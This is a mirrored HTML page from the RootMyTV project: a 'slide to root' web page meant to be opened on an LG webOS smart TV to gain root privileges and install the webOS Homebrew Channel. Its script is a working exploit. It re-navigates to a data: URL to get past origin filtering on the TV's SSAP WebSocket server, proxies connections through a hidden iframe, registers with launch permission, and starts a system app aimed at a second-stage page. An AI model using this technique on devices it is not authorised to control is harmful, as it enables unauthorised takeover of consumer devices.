kopia lustrzana https://github.com/RootMyTV/RootMyTV.github.io
318 wiersze
11 KiB
HTML
318 wiersze
11 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
|
|
<head>
|
|
<title>RootMyTV - Stage 1</title>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
|
|
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
|
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
|
|
<meta property="og:title" content="RootMy.TV">
|
|
<meta property="og:description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
|
<meta property="og:image" content="https://rootmy.tv/img/thumb.jpg">
|
|
<meta name="twitter:card" content="summary_large_image">
|
|
<link rel="stylesheet" href="css/common.css" />
|
|
</head>
|
|
|
|
<body>
|
|
<header>
|
|
<h1>RootMy.TV</h1>
|
|
</header>
|
|
<hr>
|
|
<section class="content-center">
|
|
<article id="main-article">
|
|
<p>
|
|
This webpage will exploit your LG webOS smart TV, gain local root privileges,
|
|
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
|
|
webOS Homebrew Channel.</a> If you don't know what that means, please
|
|
read our documentation and writeup <a href="https://github.com/RootMyTV/RootMyTV.github.io">here.</a>
|
|
</p>
|
|
<p>
|
|
Once you're ready to proceed, drag the slider below (or press "5").
|
|
</p>
|
|
<div class="slider-bar">
|
|
<div class="slider-button"><p>-></p></div>
|
|
<p class="slider-text">slide to root</p>
|
|
</div>
|
|
<p>
|
|
Note: You must open this webpage on your TV to trigger the exploit.
|
|
</p>
|
|
</article>
|
|
</section>
|
|
<hr>
|
|
|
|
<script>
|
|
window.ORIGIN_URL =
|
|
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
|
|
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
|
|
|
|
window.onerror = function (err) {
|
|
console.error(err);
|
|
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
|
};
|
|
</script>
|
|
<script>
|
|
/* slider animation logic */
|
|
var slider = document.getElementsByClassName("slider-button")[0];
|
|
var sliderText = document.getElementsByClassName("slider-text")[0];
|
|
var startX = 0;
|
|
var endX = 0;
|
|
var posX = 0;
|
|
var grabbed = false;
|
|
var velX = 0;
|
|
var lastUpdate = Date.now();
|
|
var prevPosX = 0;
|
|
|
|
function slidermousedown(e) {
|
|
e.preventDefault();
|
|
startX = e.clientX;
|
|
grabbed = true;
|
|
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
|
|
|
|
//console.log("mousedown");
|
|
|
|
window.onmousemove = slidermousemove;
|
|
window.onmouseup = slidermouseup;
|
|
return false;
|
|
}
|
|
|
|
function slidermousemove(e) {
|
|
e.preventDefault();
|
|
//console.log("mousemove");
|
|
var deltaX = e.clientX - startX;
|
|
if (deltaX < 0) {
|
|
deltaX = 0;
|
|
} else if (deltaX > endX) {
|
|
deltaX = endX;
|
|
}
|
|
posX = deltaX; // XXX fixme
|
|
}
|
|
|
|
function slidermouseup(e) {
|
|
//console.log("mouseup");
|
|
window.onmousemove = null;
|
|
window.onmouseup = null;
|
|
velX = 0;
|
|
if (posX == endX) {
|
|
console.log("slid!");
|
|
begin_exploit();
|
|
slider.onmousedown = null;
|
|
} else {
|
|
grabbed = false;
|
|
}
|
|
}
|
|
|
|
function animate_tick() {
|
|
var now = Date.now();
|
|
var dt = now - lastUpdate;
|
|
ticks = dt/(1000/60);
|
|
if (ticks > 4) ticks = 4;
|
|
lastUpdate = now;
|
|
|
|
if (!grabbed && posX != 0) {
|
|
var accel = (0.5 + posX/200) * ticks;
|
|
velX -= accel;
|
|
posX += velX * ticks;
|
|
|
|
if (posX < 0) {
|
|
velX *= -0.3;
|
|
posX *= -0.3;
|
|
}
|
|
|
|
if (posX < 0.1) {
|
|
posX = 0;
|
|
}
|
|
}
|
|
|
|
//document.getElementById("fps").innerText = Math.floor(1000/dt);
|
|
|
|
if (prevPosX != posX) {
|
|
slider.style.left = Math.floor(posX) + "px";
|
|
sliderText.style.opacity = 1-(posX/endX);
|
|
}
|
|
prevPosX = posX;
|
|
window.requestAnimationFrame(animate_tick);
|
|
}
|
|
|
|
|
|
|
|
slider.onmousedown = slidermousedown;
|
|
window.requestAnimationFrame(animate_tick);
|
|
</script>
|
|
<script>
|
|
// Exploit data: url navigation for browsers which didn't have following patch
|
|
// applied yet (webOS 3.x):
|
|
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
|
try {
|
|
if (window.location.protocol !== 'data:') {
|
|
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
|
.replace('="common.css"', '="' + new URL('common.css', window.location.href).href + '"')
|
|
.replace('__START_ORIGIN__', window.location.href));
|
|
}
|
|
} catch (err) {}
|
|
|
|
function log(str) {
|
|
var logBox = document.querySelector('#log');
|
|
logBox.innerText = logBox.innerText + str + '\n';
|
|
logBox.scrollIntoView(false)
|
|
}
|
|
|
|
// Minimal implementation of WebSocket API that we use to workaround origin
|
|
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
|
// null header to be sent, which is explicitly allowed.
|
|
function ProxyWebSocket(target) {
|
|
|
|
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
|
// WebSocket calls and events with parent frame.
|
|
function proxyPayload(address) {
|
|
// Helper function that forwards events/messages to parent frame
|
|
function forward(type, data) {
|
|
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
|
}
|
|
|
|
try {
|
|
var conn = new WebSocket(address);
|
|
conn.onopen = function (evt) {forward('open', evt);}
|
|
conn.onclose = function (evt) {forward('close', evt);}
|
|
conn.onerror = function (evt) {forward('error', evt);}
|
|
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
|
window.addEventListener("message", function (event) {
|
|
var msg = JSON.parse(event.data);
|
|
if (msg.type === 'send') {
|
|
conn.send(msg.data);
|
|
}
|
|
}, false);
|
|
} catch (err) {
|
|
forward('error', err);
|
|
}
|
|
}
|
|
|
|
var self = this;
|
|
this.proxy = document.createElement('iframe');
|
|
this.proxy.style.display = 'none';
|
|
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
|
window.addEventListener("message", function (event) {
|
|
if (event.source !== self.proxy.contentWindow) return;
|
|
const msg = JSON.parse(event.data);
|
|
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
|
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
|
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
|
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
|
if (msg.type === 'log') console.info('proxy:', msg.data);
|
|
}, false);
|
|
document.querySelector('body').appendChild(this.proxy);
|
|
return this;
|
|
}
|
|
ProxyWebSocket.prototype.send = function (data) {
|
|
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
|
}
|
|
ProxyWebSocket.prototype.close = function () {
|
|
this.proxy.parentNode.removeChild(this.proxy);
|
|
}
|
|
|
|
// Final exploit code
|
|
var conn = null;
|
|
function bootstrap(target, url) {
|
|
try {
|
|
log('0. Connecting...');
|
|
|
|
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
|
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
|
conn.onopen = function (evt) {
|
|
console.info('open', evt);
|
|
log('1. Connected, registering... Accept prompt on the TV.');
|
|
const handshake = {
|
|
id: "reg_req",
|
|
type: "register",
|
|
payload: {
|
|
forcePairing: false,
|
|
pairingType: "PROMPT",
|
|
"client-key": "xxx",
|
|
|
|
// Minimal manifest that gives us permission to launch a system
|
|
// application
|
|
manifest: {
|
|
manifestVersion: 1,
|
|
"localizedAppNames": {
|
|
"": "RootMyTV",
|
|
},
|
|
permissions: ["LAUNCH"],
|
|
},
|
|
}
|
|
};
|
|
conn.send(JSON.stringify(handshake));
|
|
};
|
|
|
|
conn.onmessage = function (evt) {
|
|
const msg = JSON.parse(evt.data);
|
|
|
|
if (msg.type === 'registered') {
|
|
log('2. Registered - opening webpage...');
|
|
conn.send(JSON.stringify({
|
|
id: 'launch_req',
|
|
type: "request",
|
|
uri: "ssap://system.launcher/launch",
|
|
payload: {
|
|
id: "com.webos.app.facebooklogin",
|
|
params: {
|
|
server: url.replace('http://', '').replace('https://', '') + "#",
|
|
}
|
|
},
|
|
}));
|
|
} else if (msg.type === 'response') {
|
|
if (msg.payload.returnValue === true && msg.id === 'launch_req') {
|
|
log('2. Launch request finished');
|
|
} else if (msg.id !== 'reg_req') {
|
|
log('Unexpected response: ' + evt.data);
|
|
}
|
|
} else if (msg.type === 'error') {
|
|
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
|
} else {
|
|
log('Unexpected message: ' + evt.data);
|
|
}
|
|
};
|
|
conn.onclose = function (evt) {
|
|
console.info('close', evt);
|
|
log('Closed');
|
|
};
|
|
conn.onerror = function (evt) {
|
|
console.info('error', evt);
|
|
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
|
log('Error occured during connection... Attempting data URL hack...');
|
|
} else {
|
|
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
|
}
|
|
};
|
|
} catch (err) {
|
|
log("An unexpected error occured: " + err.toString());
|
|
}
|
|
}
|
|
function begin_exploit() {
|
|
// replace main body with log window
|
|
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
|
|
|
|
var is_local = window.location.protocol === 'file:';
|
|
var is_webos = navigator.userAgent.toLowerCase().includes("webos") ||
|
|
navigator.userAgent.toLowerCase().includes("netcast") ||
|
|
navigator.userAgent.toLowerCase().includes("smarttv");
|
|
|
|
if (!is_local && !is_webos) {
|
|
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
|
|
}
|
|
|
|
// Allow people to download the exploit page to manually set target IP,
|
|
// in case direct on-tv deployment fails for some reason.
|
|
var target = is_local ? prompt('Enter IP address of Your TV') : 'localhost';
|
|
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
|
|
}
|
|
|
|
// listen for "5" key to be pressed
|
|
document.addEventListener("keydown", event => {
|
|
if (event.keyCode === 53) {
|
|
begin_exploit();
|
|
}
|
|
});
|
|
</script>
|
|
</body>
|
|
|
|
</html>
|